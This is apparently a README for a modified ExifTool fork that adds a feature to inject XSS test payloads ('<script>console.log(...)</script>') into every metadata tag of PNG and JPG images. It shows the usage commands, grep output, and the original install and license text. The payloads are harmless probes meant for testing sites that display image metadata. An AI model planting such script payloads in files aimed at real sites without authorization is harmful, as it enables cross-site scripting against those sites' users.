ExifTool by Phil Harvey (philharvey66 at gmail.com) Modified ByQwert ---------------------------------------------------------------------------- FEATURE USAGE Add XSS payload to every available tag exiftool -all="1337" image.png exiftool image.png | grep "<script>" Artist : <script>console.log('Artist')</script> Author : <script>console.log('Author')</script> Collection : <script>console.log('Collection')</script> [...] exiftool image.png | grep "<script>" | wc -l 17 exiftool -all="1337" image.jpg exiftool image.jpg | grep "<script>" Processing Software : <script>console.log('ProcessingSoftware')</script> Document Name : <script>console.log('DocumentName')</script> Image Description : <script>console.log('ImageDescription')</script> [...] exiftool image.jpg | grep "<script>" | wc -l 1370 [...] INSTALLATION You can install the Image::ExifTool package to make it available for use by other Perl scripts by typing the following: perl Makefile.PL make make test make install Notes: i) You need root access for the last step above. ii) Some Perl installations (like the standard OSX installation) may not contain the necessary files to complete the first step above. But no worries: You can install ExifTool manually by moving 'exiftool' and the 'lib' directory to any directory in your current PATH (ie. /usr/bin). iii) In Windows, "dmake" or "nmake" may be used if "make" is not available. (Also see html/install.html for more help with installation.) [...] COPYRIGHT AND LICENSE Copyright 2003-2023, Phil Harvey This is free software; you can redistribute it and/or modify it under the same terms as Perl itself. [...] ----------------------------------------------------------------------------